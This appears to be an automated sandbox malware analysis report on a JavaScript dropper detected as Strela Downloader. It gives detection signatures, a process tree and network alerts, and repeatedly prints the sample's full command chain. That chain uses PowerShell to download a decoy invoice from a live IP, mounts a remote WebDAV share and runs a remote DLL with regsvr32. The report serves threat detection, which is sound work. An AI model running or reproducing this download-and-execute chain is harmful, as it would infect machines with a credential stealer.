Edit tour

Windows Analysis Report
166452923276113028.js

Overview

General Information

Sample name:	166452923276113028.js
Analysis ID:	1588624
MD5:	a7e5980b83f31765c1ac1bf380473972
SHA1:	8814f9d228703adf79ebc674011b13c30ad243c3
SHA256:	fc62b652c376388c664491e07148f0223269d0808ba04f15116aff1e90f30705
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6560 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1344 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4936 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2640 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5544 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6028 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2176 --field-trial-handle=1548,i,2332872694583072542,17004711791923653570,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6924 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6612 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4284 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6560	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4936, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4936, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", ProcessId: 6560, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6612, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, ProcessId: 1344, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, ProcessId: 1344, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, ProcessId: 1344, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, ProcessId: 1344, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, ProcessId: 1344, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", ProcessId: 6560, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4936, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6924, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6612, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4284, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6924, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6612, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6560, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll, ProcessId: 1344, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:22:52.633563+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:22:55.013417+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:22:52.633563+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 166452923276113028.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 166452923276113028.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:22:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
